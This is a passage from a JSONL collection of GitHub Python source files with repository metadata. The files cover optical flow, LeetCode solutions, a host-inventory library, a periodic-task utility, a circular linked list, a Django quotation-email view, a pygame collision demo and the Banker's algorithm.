next\n\nprint(type(flow))\nprint(flow.shape)\n\ncap.release()\ncv2.destroyAllWindows()\ncv2.waitKey(1)","repo_name":"calderonf/CursoProcesamientoImagenes","sub_path":"Codigo/Flujo_optico/DenseOpticalFlow.py","file_name":"DenseOpticalFlow.py","file_ext":"py","file_size_in_byte":1120,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"11216352020","text":"#\n# [71] Simplify Path\n#\n# https://leetcode.com/problems/simplify-path/description/\n#\n# algorithms\n# Medium (26.20%)\n# Total Accepted: 108.6K\n# Total Submissions: 414.4K\n# Testcase Example: '\"/\"'\n#\n# Given an absolute path for a file (Unix-style), simplify it.\n# \n# For example,\n# path = \"/home/\", => \"/home\"\n# path = \"/a/./b/../../c/\", => \"/c\"\n# \n# \n# click to show corner cases.\n# \n# Corner Cases:\n# \n# \n# \n# Did you consider the case where path = \"/../\"?\n# In this case, you should return \"/\".\n# Another corner case is the path might contain multiple slashes '/' together,\n# such as \"/home//foo/\".\n# In this case, you should ignore redundant slashes and return \"/home/foo\".\n# \n# \n#\nclass Solution(object):\n def simplifyPath(self, path):\n \"\"\"\n :type path: str\n :rtype: str\n \"\"\"\n # 5 star\n path = path.split('/')\n stack = []\n for i in path:\n if i in ('.', ''):\n continue\n elif i == '..':\n if stack:\n stack.pop()\n else:\n continue\n else:\n stack.append(i)\n rs = '/' + \"/\".join(stack)\n return rs\n\n\n# s = Solution()\n# print(s.simplifyPath('/../home/'))\n# print(s.simplifyPath('/home/..'))\n# print(s.simplifyPath(\"/a//b/../../c/d/../../..//\"))\n\n\n","repo_name":"goalong/lc","sub_path":"v1/71.simplify-path.130388506.ac.py","file_name":"71.simplify-path.130388506.ac.py","file_ext":"py","file_size_in_byte":1349,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"61"} +{"seq_id":"43362952292","text":"import numpy as np\n\n#Need to implement change in position based on an equation to make the satellite thrust capable\n\ndef differential(time, state, Mu):\n\n #Decompose the state to the position and velocities\n # State is taken as a list instead of a class to simplify usage with ode.integrate()\n rx, ry, rz, vx, vy, vz = state\n\n #Vector pointing to smaller mass from the center of Mu mass\n _pos = np.array([rx, ry, rz])\n #Norm of the vector\n _pos_norm = np.linalg.norm(_pos)\n\n # a = r .Mu / r^3\n # We multiply by vector first to get the component wise accelleration, and then divide by its scalar for the correct magnitude\n ax, ay, az = - _pos * Mu / _pos_norm**3\n\n return [vx, vy, vz, ax, ay, az]\n\n","repo_name":"Dragonjinx/TLE_Parsing","sub_path":"differentail_solver.py","file_name":"differentail_solver.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1443170383","text":"import os\nimport json\nfrom phlibs.jqueue import JobQueue, Job\nfrom phlibs.modules.mod import ModuleError\n\nclass HostList:\n \"\"\"\n List of Host Entries\n \"\"\"\n\n def __init__(self, input=None, mods_enabled=None, db=None, tags_policy=None, output=None):\n \"\"\"\n Instantiate a host list based on a given input type.\n :param input: Class of type Input but can be anything with a List() function\n :param mods_enabled: Discovery modules to use\n :param db (optional): Run database. If provided, enables async processing./\n :param tag_policy (optional): Tag configuration.\n \"\"\"\n self.mods_enabled = mods_enabled\n self.tags_policy = tags_policy\n\n self.output = output\n if input:\n self.hosts = self.hosts_from_list(input.List())\n else:\n self.hosts = []\n self.db = db\n self.index = []\n\n def hosts_from_list(self, host_dicts):\n hosts = []\n for hd in host_dicts:\n if 'ip' not in hd:\n raise ValueError(\"Missing field ip in host list.\")\n\n h = Host(ip=hd['ip'], mods_enabled=self.mods_enabled, tag_policy=self.tags_policy)\n h.add_data_dict(hd)\n hosts.append(h)\n\n return hosts\n\n #def get_host_mod_fields(self):\n # for host in self.get_all_hosts():\n\n\n def get_all_hosts(self):\n if self.db:\n index = self.db.get(\"index\")\n if not index:\n index = []\n hosts = []\n for hid in index:\n host_json = self.db.get(hid)\n if host_json:\n h = unpickle_host(host_json)\n hosts.append(h)\n\n self.hosts = hosts\n return hosts\n\n return self.hosts\n\n def run_all_hosts(self, jq=None):\n \"\"\"\n Run all the modules for all hosts\n if a JobQueue object is specified, this will run async\n :param jq: JobQueue instance\n \"\"\"\n done = 0\n total = len(self.hosts)\n if self.db:\n # Set the path to store this run\n self.db.update_path(jq.get_id())\n # Pass the db object to the JsonDB so it can write\n jq.set_db(self.db)\n\n for h in self.hosts:\n # Create a uid for each host\n hid = self.db.make_id()\n self.index.append(str(hid))\n\n h.set_db(self.db)\n h.set_id(hid)\n j = Job(h.run_all_mods, (hid,))\n jq.add_job(j)\n\n self.db.write_id(\"index\", self.index)\n\n jq.empty()\n\n # If we're passed an output spec, run it\n if self.output:\n self.output.Output(self)\n return\n\n for h in self.get_all_hosts():\n h.run_all_mods()\n done = done + 1\n print(\"Done {}/{}\".format(done, total))\n\n def stats_by_tag(self):\n tags = {}\n labels = []\n data = []\n color_dict = {}\n for h in self.get_all_hosts():\n if h.tag:\n if h.tag['name'] in tags:\n tags[h.tag['name']].append(h)\n else:\n tags[h.tag['name']] = []\n color_dict[h.tag['name']] = h.tag['color']\n\n bg_colors = []\n for tag_name, hosts in tags.items():\n labels.append(tag_name)\n data.append(len(hosts))\n bg_colors.append(color_dict[tag_name])\n\n return labels, data, bg_colors\n\n\n\n\ndef unpickle_host(host_json):\n host = Host(host_json['attributes']['ip'])\n host.unpickle(host_json)\n return host\n\n\nclass Host:\n \"\"\"\n Main HOST class.\n\n Hosts contain data per module that is enabled, such as DNS.\n \"\"\"\n\n def __init__(self, ip, mods_enabled=None, tag_policy=None):\n \"\"\"\n Create a new host object.\n :param ip: IP address of the host - required.\n :param mods: Mods to enable for this host.\n \"\"\"\n self.id = None\n self.mods_enabled = mods_enabled\n self.ip = ip\n self.result = {}\n self.attributes = {}\n self.tag = None\n self.db = None\n self.tag_policy = []\n if tag_policy:\n self.tag_policy = tag_policy\n\n def match_tag(self):\n match = False\n for t in reversed(self.tag_policy):\n if 'match_any' in t:\n if t['match_any']:\n self.set_tag(t)\n return\n\n match = True\n for match_attr, match_value in t['match'].items():\n r = self.compare_attr(match_attr, match_value)\n if not r:\n match = False\n\n if match:\n self.set_tag(t)\n\n def set_db(self, db):\n self.db = db\n\n def set_id(self, hid):\n \"\"\"\n Set the Host ID, which is used in various database calls\n :param hid: (str) UID\n \"\"\"\n self.id = hid\n\n def add_data(self, k, v):\n \"\"\"\n Add a value to this host object.\n :param k: Key\n :param v: Value\n \"\"\"\n self.attributes[k] = v\n\n def add_data_dict(self, d):\n for k, v in d.items():\n self.attributes[k] = v\n\n def run_all_mods(self, hid):\n \"\"\"\n Run all mods and enrich this object with the results\n \"\"\"\n # Run the mods\n for mod in self.mods_enabled:\n try:\n data = mod.Get(self)\n self.result[mod.get_name()] = data\n except ModuleError as e:\n self.result[mod.get_name()] = {\"Error\": str(e) }\n\n # Tag based on said mod response\n if self.tag_policy:\n self.match_tag()\n\n # Optionally, write to the database.\n if self.db:\n self.db.write_id(str(hid), self.pickle())\n\n def dump_mod_results(self):\n print(self.result)\n\n def dump_attributes(self):\n return (self.attributes)\n\n def pickle(self):\n d = {\n 'id': str(self.id),\n 'attributes': self.attributes,\n 'mods_enabled': self.result\n }\n return d\n\n def unpickle(self, host_json):\n self.id = host_json['id']\n self.attributes = host_json['attributes']\n self.result = host_json['mods_enabled']\n if \"tag\" in self.attributes:\n self.tag = self.attributes[\"tag\"]\n\n def compare_attr(self, attr_name, attr_value):\n for mod, results in self.result.items():\n if attr_name in results:\n if attr_value == \"exists\":\n return True\n elif \">\" in attr_value:\n v = attr_value[1:]\n if results[attr_name] > int(v):\n return True\n elif attr_value == results[attr_name]:\n return True\n\n return False\n\n return False\n\n def set_tag(self, tag):\n self.tag = tag\n self.attributes['tag'] = tag\n","repo_name":"adambaumeister/panhit","sub_path":"phlibs/host/host.py","file_name":"host.py","file_ext":"py","file_size_in_byte":7037,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16943910714","text":"import sys\n\nsys.setrecursionlimit(100000)\n\n\ndef dfs(x, y):\n if dp[x][y] != 0:\n return dp[x][y]\n dp[x][y] = 1\n for i in range(4):\n lx, ly = x + dx[i], y + dy[i]\n if 0 <= lx < n and 0 <= ly < n:\n if forest[x][y]>> def _task(pt, arg):\n ... assert pt.context['value'] == 3\n ... assert arg == 17\n >>> args = 1\n >>> task = PeriodicTask('MyTask', 1, _task, 17)\n >>> task.context['value'] = 3\n >>> task.start()\n >>> task.stop()\n\n \"\"\"\n\n def __init__(self, name, delay, task, *args, **kwargs):\n \"\"\"Constructor\n Args:\n name (str): Thread name.\n delay (float): Delay between two executions, in seconds\n task (Callable[[PeriodicTask, ...], T]): task to execute each\n periods. First argument is the PeriodicTask instance.\n *args (optional): arguments passed to the task.\n **kwargs (optional): keywords arguments passed to the task.\n \"\"\"\n self.delay = delay\n self.context = {}\n self.args = args\n self.kwargs = kwargs\n\n self._name = name\n self._task = task\n self._timer = None\n self._canceled = False\n self._lock = Lock()\n self._is_running = False # must be acceded only with self._lock\n self._apply_now = False\n self._deferred = None\n\n def _exec_task(self, *args, **kwargs):\n with self._lock:\n df = self._deferred\n self._deferred = None\n self._is_running = True\n\n # self._lock must be released during task execution.\n result, error = None, None\n try:\n result = self._task(self, *args, **kwargs)\n except BaseException as err:\n error = err\n _logger.exception('Periodic task %s has raised exception',\n self._task)\n with self._lock:\n self._is_running = False\n\n if self._apply_now:\n delay = 0\n self._apply_now = False\n else:\n delay = self.delay\n\n self._timer = Timer(delay, self._exec_task, args=self.args,\n kwargs=self.kwargs)\n self._timer.name = self._name\n self._timer.daemon = True\n if not self._canceled:\n self._timer.start()\n if df:\n if error is None:\n df.resolve(result)\n else:\n df.reject(error)\n\n def start(self):\n \"\"\"Start the task.\n\n The first execution is immediate.\n \"\"\"\n _logger.debug('Start periodic task %s', self._task)\n self._timer = Timer(0, self._exec_task, args=self.args,\n kwargs=self.kwargs)\n self._timer.name = self._name\n self._timer.daemon = True\n self._timer.start()\n\n def stop(self, join=False):\n \"\"\"Stop the task.\n\n Note that if the function is running at the moment this method is\n called, the current iteration cannot be stopped.\n\n Args:\n join (bool, optional): if True, will block until the running task\n finish. Default to False\n \"\"\"\n _logger.debug('Stop periodic task %s', self._task)\n with self._lock:\n self._canceled = True\n self._timer.cancel()\n if self._deferred:\n self._deferred.reject(CancelledError('PeriodicTask stop now.'))\n self._deferred = None\n\n if join:\n self._timer.join()\n\n def apply_now(self):\n \"\"\"Apply the task as soon as possible.\n\n Note that if the task is currently running, it will wait the end, then\n another iteration will be executed immediately after that.\n\n The method can be called from inside the task itself.\n\n Returns:\n Promise[T]: resolved when the task has returned. The promise\n resolves with the value returned by the task. If the task\n raises an exception, the promise is rejected.\n \"\"\"\n self._timer.cancel()\n with self._lock:\n if self._deferred:\n # special case: twice or more apply_now() at the same time.\n return self._deferred.promise\n\n self._deferred = Deferred()\n if self._is_running:\n # We can't stop the current task, so we set a flag to rerun as\n # soon as the task returns.\n self._apply_now = True\n else:\n self._timer.cancel()\n self._timer = Timer(0, self._exec_task, args=self.args)\n self._timer.name = self._name\n self._timer.daemon = True\n self._timer.start()\n\n return self._deferred.promise\n","repo_name":"Bajoo/client-pc","sub_path":"bajoo/common/periodic_task.py","file_name":"periodic_task.py","file_ext":"py","file_size_in_byte":5677,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"44290553000","text":"'''\n풀이 및 접근방법\n\n 1. 일단 주어지는 s문자열이 \")\"로 시작하거나 빈 문자열이면 false를 반환한다.\n 2. 문자열을 순회하며 \"(\"일땐 isTrue를 1씩 증가, \")\"일땐 감소 시킨다.\n 이 때 isTrue가 양수일 때만 감소하게 해서 괄호의 갯수만 맞고 순서가 맞지 않을 때 True를 반환하지 않게 한다.\n 3. isTrue가 0이 아니라면 False, 0이라면 True를 반환한다.\n'''\n\ndef solution(s):\n answer=True\n isTrue = 0\n if len(s)== 0 or s[0] ==\")\":\n return False\n for l in s:\n if l == \"(\":\n isTrue+=1\n else:\n if isTrue > 0:\n isTrue-=1\n if isTrue!=0:\n answer = False\n return answer","repo_name":"Slowth-KIM/crewcrew-coding-test-study","sub_path":"박한결/코딩테스트 고득점 kit/스택,큐/올바른 괄호.py","file_name":"올바른 괄호.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"ko","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"41299003997","text":"from drl.experiment.config.config_base import ConfigBase\nfrom drl.experiment.config.neural_network_config import NeuralNetworkConfig\n\n\nclass DqnConfig(ConfigBase):\n def __init__(self,\n epsilon_start,\n epsilon_end,\n epsilon_decay,\n lr,\n model_cfg : NeuralNetworkConfig\n ):\n\n self.ensure_betwen_0_and_1(epsilon_start)\n self.ensure_betwen_0_and_1(epsilon_end)\n self.ensure_betwen_0_and_1(epsilon_decay)\n self.ensure_betwen_0_and_1(lr)\n\n self.ensure_is_greater(param1=epsilon_start, param2=epsilon_end)\n\n self.epsilon_start = epsilon_start\n self.epsilon_end = epsilon_end\n self.epsilon_decay = epsilon_decay\n self.lr = lr\n self.model_cfg = model_cfg\n\n @classmethod\n def from_json(cls, data):\n\n data['model_cfg'] = NeuralNetworkConfig.from_json(data['model_cfg'])\n\n return cls(**data)\n","repo_name":"miharothl/und-drl-continuous-control","sub_path":"drl/experiment/config/dqn_config.py","file_name":"dqn_config.py","file_ext":"py","file_size_in_byte":969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1049647598","text":"class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\nclass CLL:\n def __init__(self):\n self.head = None\n self.tail = None\n\n def tambah_belakang(self, data):\n newNode = Node(data)\n if not self.head:\n newNode.next = newNode\n self.head = newNode\n self.tail = newNode\n return\n self.tail.next = newNode\n newNode.next = self.head\n self.tail = newNode\n\n\n def tambah(self, num):\n newNode = Node(num)\n\n if not self.head:\n newNode.next = newNode\n self.head = newNode\n self.tail = newNode\n return\n\n newNode.next = self.head\n self.tail.next = newNode\n self.head = newNode\n\n # temp = self.head\n # while temp.next is not self.head:\n # temp = temp.next\n # newNode.next = temp.next\n # temp.next = newNode\n # self.head = newNode\n\n def tambah_index(self, index, data):\n prevNode = None\n temp = self.head\n counter = 0\n if index == 0:\n self.tambah(data)\n else:\n for i in range(index):\n if temp is self.tail:\n if counter == index-1:\n self.tambah_belakang(data)\n return\n else:\n print(\"kelebihan index\")\n return\n prevNode = temp\n temp = temp.next\n counter += 1\n newNode = Node(data)\n prevNode.next = newNode\n newNode.next = temp\n\n def hapus(self, key):\n temp = self.head\n # Jika SLL kosong\n if not self.head:\n print(\"SLL kosong\")\n return\n\n if temp.data == key:\n if temp.next == self.head:\n temp = None\n self.head = None\n return\n\n self.tail.next = self.head.next\n self.head = self.head.next\n # temp = None\n return\n\n while temp.next != self.head:\n if temp.next.data == key:\n if temp.next is self.tail:\n self.tail = temp\n temp.next = temp.next.next\n\n # temp = None\n return\n temp = temp.next\n\n def hapus_key(self, value):\n temp = self.head\n if temp.next is self.head and self.head.data == value:\n self.tail.next = self.head.next\n self.head = self.head.next\n return\n\n while temp.next:\n if temp == self.tail:\n if temp.data == value:\n prevNode.next = self.head\n self.tail = prevNode\n return\n else:\n return\n\n if temp.data == value:\n if temp is self.head:\n self.tail.next = self.head.next\n self.head = self.head.next\n else:\n prevNode.next = temp.next\n prevNode = temp\n temp = temp.next\n\n def print(self):\n temp = self.head\n if not self.head:\n print(\"kosong\")\n return\n while temp is not self.tail:\n print(temp.data, end=\"-->\")\n temp = temp.next\n print(temp.data)\n\ncll = CLL()\n# cll.tambah(3)\n# cll.tambah(7)\n# cll.tambah(0)\n# cll.tambah(9)\n# cll.tambah_belakang(9)\n# cll.tambah_belakang(0)\n# cll.tambah_index(2,4)\n# cll.hapus_key(0)\n# cll.hapus(9)\n# cll.hapus(9)\ncll.tambah(5)\ncll.tambah(5)\ncll.tambah_belakang(6)\ncll.tambah_index(3,4)\n\ncll.print()\n\n\n","repo_name":"NicholasL5/BackupSD","sub_path":"pertemuan2/cobaCLL.py","file_name":"cobaCLL.py","file_ext":"py","file_size_in_byte":3697,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13483822899","text":"import TestLoad\r\nimport Vectorizer\r\nfrom sklearn.externals import joblib\r\nimport Training\r\nfrom torch.utils.data import DataLoader, Dataset\r\nimport AnswerGen\r\nimport PyQt5\r\nimport numpy as np\r\nfrom PyQt5 import QtCore, QtGui, QtWidgets, uic\r\n\r\n\r\n\r\nclass MainWindow(QtWidgets.QMainWindow):\r\n def __init__(self):\r\n super(MainWindow,self).__init__()\r\n self.ui = uic.loadUi('panel.ui',self)\r\n self.Listener_set()\r\n # self.ui.label2.setText(\"loading...\")\r\n #querys = DataLoader(Vectorizer.qTrainSet(querys),batch_size = 1,\r\n #shuffle = False, num_workers = 8)\r\n #docs = DataLoader(Vectorizer.docTrainSet(docs),batch_size = 1,\r\n #shuffle = False, num_workers = 8)\r\n # self.ui.label2.setText(\"load complete\")\r\n def Listener_set(self):\r\n self.ui.probBtn.clicked.connect(self.randProb)\r\n self.ui.searchBtn.clicked.connect(self.search)\r\n self.ui.StaBtn.clicked.connect(self.showstatus)\r\n self.ui.valBtn.clicked.connect(self.val)\r\n self.ui.reloadBtn.clicked.connect(self.reload_)\r\n self.ui.trainBtn.clicked.connect(self.train)\r\n def randProb(self):\r\n query = querys[np.random.randint(0,len(querys))]['q']\r\n self.ui.queryArea.setText(query)\r\n def search(self):\r\n ans , s = ansGen(self.ui.queryArea.toPlainText())\r\n self.ui.ansArea.setPlainText(ans)\r\n def showstatus(self):\r\n ans = str(len(querys))\r\n self.ui.label2.setText(\"QueryNumber:\" + ans)\r\n def val(self):\r\n num = np.random.randint(0,len(querys))\r\n query = querys[num]['q']\r\n self.ui.queryArea.setText(query)\r\n ans, s = ansGen(self.ui.queryArea.toPlainText())\r\n self.ui.ansArea.setPlainText(ans + \"\\n\" + \"score:\" + str(s) + \"\\n\" + \"CorrectAns: \" + docs[num]['ans']['text'] + \" (\" + docs[num]['plainText'])\r\n def reload_(self):\r\n loadTrainingData1()\r\n self.ui.label2.setText(\"Load Complete, QueryNumber:\" + str(len(querys)))\r\n def train(self):\r\n Training.training(querys,docs)\r\n\r\n\r\ndef loadTrainingData1():\r\n global querys, docs\r\n querys , docs = TestLoad.testLoad()\r\n querys = Vectorizer.batchQVec(querys)\r\n docs = Vectorizer.batchDVec(docs)\r\n Vectorizer.saveVecs(querys,docs)\r\n return querys, docs\r\n\r\ndef loadDataFromTestFile():\r\n querys = joblib.load(\"TestQuerys.pkl\")\r\n docs = joblib.load(\"TestDocs.pkl\")\r\n return querys,docs\r\n\r\ndef training():\r\n Training.training(querys,docs)\r\n\r\ndef ansGen(text):\r\n return AnswerGen.answerGen(text,docs)\r\n\r\ndef main():\r\n import sys\r\n app = QtWidgets.QApplication(sys.argv)\r\n mWin = MainWindow()\r\n mWin.show()\r\n sys.exit(app.exec_())\r\n\r\nquerys,docs = loadDataFromTestFile()\r\n\r\nif __name__ == \"__main__\":\r\n main()","repo_name":"RenzhiLi/S19Research","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":2779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2824816259","text":"from typing import List\nimport pygame, sys\nimport math\nfrom pygame.locals import *\nimport time\nfrom random import randint\nfrom classes.circulo import Circulo\n\npygame.init()\n\nscreenWidth = 1024\nscreenHeight = 768\nraio_circulo = 20\ntime_player = time.time()\nfps = 60\nx, y = pygame.mouse.get_pos()\nvely = 0\nvelx = 0\ncoeficiente_atrito = 0.80\nangulo_perpendicular = math.pi / 2\n\nscreen = pygame.display.set_mode((screenWidth, screenHeight))\npygame.display.set_caption(\"Colisão\")\npygame.mouse.set_visible(False)\nclock = pygame.time.Clock()\nfonte = pygame.font.SysFont('roboto', 40, True, True)\n\nplayer = Circulo(1, raio_circulo, x, y, 50)\ncircle = Circulo(2, raio_circulo, randint(raio_circulo, screenWidth - raio_circulo), randint(raio_circulo, screenHeight - raio_circulo), 100)\ncircle2 = Circulo(3, raio_circulo, randint(raio_circulo, screenWidth - raio_circulo), randint(raio_circulo, screenHeight - raio_circulo), 100)\n\ncirculos = []\ncirculos.append(circle)\ncirculos.append(circle2)\n\ndef reflexao(bolinha: Circulo):\n if bolinha.velx > 0 or bolinha.vely > 0:\n # multiplicando por 180 e dividindo por PI para converter de radianos para graus\n angulo_movimento = (math.atan2(bolinha.vely, bolinha.velx) * 180) / math.pi\n\n # Decompor velocidades\n velx = bolinha.velocidade * (math.cos(angulo_movimento * math.pi / 180))\n vely = bolinha.velocidade * (math.sin(angulo_movimento * math.pi / 180))\n\n angulo_incidencia = math.atan2(vely, velx)\n angulo_reflexao = (2 * angulo_incidencia) - angulo_perpendicular\n\n velx_novo = abs(bolinha.velx) * math.cos(angulo_reflexao)\n vely_novo = abs(bolinha.vely) * math.sin(angulo_reflexao)\n\n bolinha.Att_Vel_XY(velx_novo, vely_novo)\n\ndef atrito(bolinha: Circulo):\n if bolinha.velocidade > 0 and (bolinha.velx != 0 and bolinha.vely != 0):\n vx_final = -bolinha.velx * coeficiente_atrito\n vy_final = -bolinha.vely * coeficiente_atrito\n\n bolinha.Att_Vel_XY(vx_final, vy_final)\n #reflexao(bolinha)\n print(\"velX: \", vx_final, \" velY: \", vy_final)\n\ndef detectar_colisao_parede(bolinha: Circulo):\n # Ao colidir com os limites da tela, inverte os eixos X ou Y\n # Colisão eixo X\n if (bolinha.x + raio_circulo) >= screenWidth or (bolinha.x + raio_circulo) <= (0 + raio_circulo*2):\n bolinha.Att_Vel_XY(-bolinha.velx, bolinha.vely)\n #atrito(bolinha)\n\n # Colisão eixo Y\n if (bolinha.y + raio_circulo) >= screenHeight or (bolinha.y + raio_circulo) <= (0 + raio_circulo*2):\n bolinha.Att_Vel_XY(bolinha.velx, -bolinha.vely)\n #atrito(bolinha)\n\ndef detectar_colisao_circulos(origem: Circulo, alvo: Circulo):\n distancia_x = alvo.x - origem.x\n distancia_y = alvo.y - origem.y\n distancia = math.sqrt((distancia_x)**2 + (distancia_y)**2)\n\n if distancia <= (raio_circulo*2):\n vel_colisao = alvo.velocidade - origem.velocidade\n velx_relativa = (alvo.velx - origem.velx)\n vely_relativa = (alvo.vely - origem.vely)\n \n normalX = velx / distancia\n normalY = vely / distancia\n velx_normal = velx_relativa * normalX\n vely_normal = vely_relativa * normalY\n velx_tangencial = velx_relativa - velx_normal\n vely_tangencial = vely_relativa - vely_normal\n\n v1_tang = (origem.velx * normalX) + (origem.vely * normalY), (origem.velx * -normalY) + (origem.vely * normalX)\n v2_tang = (alvo.velx * normalX) + (alvo.vely * normalY), (alvo.velx * -normalY) + (alvo.vely * normalX)\n\n v1_norm = ((origem.massa - alvo.massa) * velx_normal + 2 * alvo.massa * velx_normal) / (origem.massa + alvo.massa), ((origem.massa - alvo.massa) * vely_normal + 2 * alvo.massa * vely_normal) / (origem.massa + alvo.massa)\n v2_norm = ((alvo.massa - origem.massa) * velx_normal + 2 * origem.massa * velx_normal) / (origem.massa + alvo.massa), ((alvo.massa - origem.massa) * vely_normal + 2 * origem.massa * vely_normal) / (origem.massa + alvo.massa)\n\n v1_novo = (v1_tang[0] + v1_norm[0]), (v1_tang[1] + vel_colisao) \n #v2_novo = (v2_tang[0] + v2_norm[0]), (v2_tang[1] + vel_colisao)\n v2y_novo = (alvo.velx * (alvo.massa - origem.massa) + 2 * origem.massa * origem.velx) / (origem.massa + alvo.massa)\n v2y_novo = (alvo.vely * (alvo.massa - origem.massa) + 2 * origem.massa * origem.vely) / (origem.massa + alvo.massa)\n\n origem.Att_Vel_XY(v1_novo[0], v1_novo[1])\n alvo.Att_Vel_XY(v2y_novo, v2y_novo)\n\n #print(\"colidiu\")\n\ndef Att_Pos_Player():\n x, y = pygame.mouse.get_pos()\n time_now = time.time()\n\n dt = (time_now - player.tempo)\n \n if dt > 0:\n mouse_velocity = math.sqrt((player.x - x)**2 + (player.y - y)**2) / dt\n #print(mouse_velocity)\n\n player.Att_Pos(x,y)\n player.Att_Vel(mouse_velocity)\n\n# Função com tipagem de parâmetro\ndef Att_Circles(cirs: List[Circulo]):\n for c in cirs:\n time_now = time.time()\n c_x = c.x\n c_y = c.y\n local_fps = clock.get_fps() if clock.get_fps() != 0 else 1\n\n if c.velx > 0:\n c_x = c.x + (c.velx / local_fps)\n if c.velx < 0:\n c_x = c.x + (c.velx / local_fps)\n if c.vely > 0:\n c_y = c.y + (c.vely / local_fps)\n if c.vely < 0:\n c_y = c.y + (c.vely / local_fps)\n \n dt = (time_now - c.tempo)\n \n if dt > 0:\n c_velocity = math.sqrt((c.x - c_x)**2 + (c.y - c_y)**2) / dt\n #print(c_velocity)\n\n c.Att_Pos(c_x, c_y)\n c.Att_Vel(c_velocity)\n\nwhile True:\n screen.fill((0,0,0))\n clock.tick(fps)\n\n for e in pygame.event.get():\n if e.type == QUIT:\n pygame.quit()\n sys.exit()\n if e.type == KEYDOWN:\n if e.key == K_UP:\n circulos[0].vely -= 10\n if e.key == K_DOWN:\n circulos[0].vely += 10\n if e.key == K_RIGHT:\n circulos[0].velx += 10\n if e.key == K_LEFT:\n circulos[0].velx -= 10\n\n Att_Pos_Player()\n detectar_colisao_parede(player)\n\n circle_player = pygame.draw.circle(screen, (255,0,0), (player.x, player.y), player.raio, 64)\n\n # Cria todos os circulos e verifica colisões entre os mesmos\n for i in circulos:\n c = pygame.draw.circle(screen, (0,0,255), (i.x, i.y), i.raio, 64)\n detectar_colisao_circulos(player, i)\n detectar_colisao_parede(i)\n\n for x in range(0, (len(circulos) -1)):\n if i.id != circulos[x+1].id:\n detectar_colisao_circulos(i, circulos[x+1])\n \n Att_Circles(circulos)\n\n pygame.display.update()","repo_name":"DiogoBotton/Python_Learn","sub_path":"AirHockey/colisao.py","file_name":"colisao.py","file_ext":"py","file_size_in_byte":6657,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17659466921","text":"from django.shortcuts import render\nfrom django.core.mail import send_mail\nfrom django.http import HttpResponse\nfrom django.template.loader import get_template\nfrom xhtml2pdf import pisa \nimport datetime\nfrom leads.models import product , Lead\nimport os\nfrom io import BytesIO\nfrom crm import settings\nfrom django.core.mail import EmailMultiAlternatives\nfrom django.core.mail import EmailMessage\n\ndef send_my_mail(request, pk):\n leads = Lead.objects.filter(id = pk).only('email')\n for a in leads:\n b= a.email\n template = get_template('leads/pdf_report.html')\n leads = Lead.objects.filter(id = pk)\n products = product.objects.all() \n date = datetime.datetime.today().date()\n data = {\n 'leads': leads,\n \"products\" : products,\n \"date\" : date\n }\n html = template.render(data)\n result = BytesIO()\n pdf = pisa.pisaDocument(BytesIO(html.encode(\"ISO-8859-1\")), result)#, link_callback=fetch_resources)\n pdf = result.getvalue()\n filename = 'Quoation.pdf'\n # mail_subject = 'Requsted Quoation Details'\n template = get_template('leads/sendemail.html')\n to_email = b\n # print(to_email) \n email = EmailMultiAlternatives(\n 'Requsted Quoation Details',\n 'Hi,This is in regards to your quoation request.We have attached a pdf with this mail.Thanks for trusting us and using our services!Sincerely,BuyByeQ Team',\n 'unknownhuman196@gmail.com',\n [to_email],\n )\n \n email.attach(filename, pdf, 'application/pdf')\n email.send(fail_silently=False)\n \n return render(request, 'leads/sendemail.html')\n\n\n\n\n # send_mail(\n # 'This is the subject of my mail hello everybody',\n # 'This is the test message body from django product management website',\n # 'unknownhuman196@gmail.com',\n # ['atipradmishra2003@gmail.com'],\n # fail_silently=False\n # )\n\n\n","repo_name":"codeofficial24/crm","sub_path":"crm-20221010T083553Z-001/crm/leads/helpers/email.py","file_name":"email.py","file_ext":"py","file_size_in_byte":1904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39363242281","text":"import numpy as np\n\ndef check(i):\n for j in range(resc):\n if(need[i][j]>avl[j]):\n return 0\n return 1\n \nproc = int(input(\"Enter the number of processes:\"))\nresc = int(input(\"Enter the number of resources:\"))\n \n #Gets user input for the maximum resources\n \nprint(\"Enter the Maximum number of resources needed for each process (separated by space): \")\n\nentries = list(map(int, input().split()))\n \nmax= np.array(entries).reshape([proc, resc])\nprint(max)\n\n#Gets user input for the available resources\n\nprint(\"Enter the Available resources single line (separated by space): \")\n\nentries_avl = list(map(int, input().split()))\n \navl= np.array(entries_avl)\n\n#Gets user input for allocated resources\n\nprint(\"Enter the Allocated resources for each process in a single line (separated by space): \")\n\nentries_all = list(map(int, input().split()))\n \nall= np.array(entries_all).reshape([proc, resc])\nprint(all)\n\n## Calculates the Need of the processes\n\nneed=max-all;\n\nprint(\"\");\nprint(\"The Processes needs resources as below:\")\nprint(need);\n\n## Checking if executing a process causes deadlock\n\nSeq = np.zeros((proc,),dtype=int)\nvis = np.zeros((proc,),dtype=int)\n\ncount = 0\ni= 0;\nwhile( count < proc ):\n temp=0\n for i in range( proc ):\n if( vis[i] == 0 ):\n if(check(i)):\n Seq[count]=i;\n count+=1\n vis[i]=1\n temp=1\n for j in range(resc):\n avl[j] += all[i][j] \n if(temp == 0):\n break\n##Declares if a deadlock occurs\n\nif(count < proc):\n print('The system is Unsafe')\nelse:\n print(\"The system is Safe\")\n print(\"The Safe Sequence is: \",Seq)\n print(\"The total Available resources 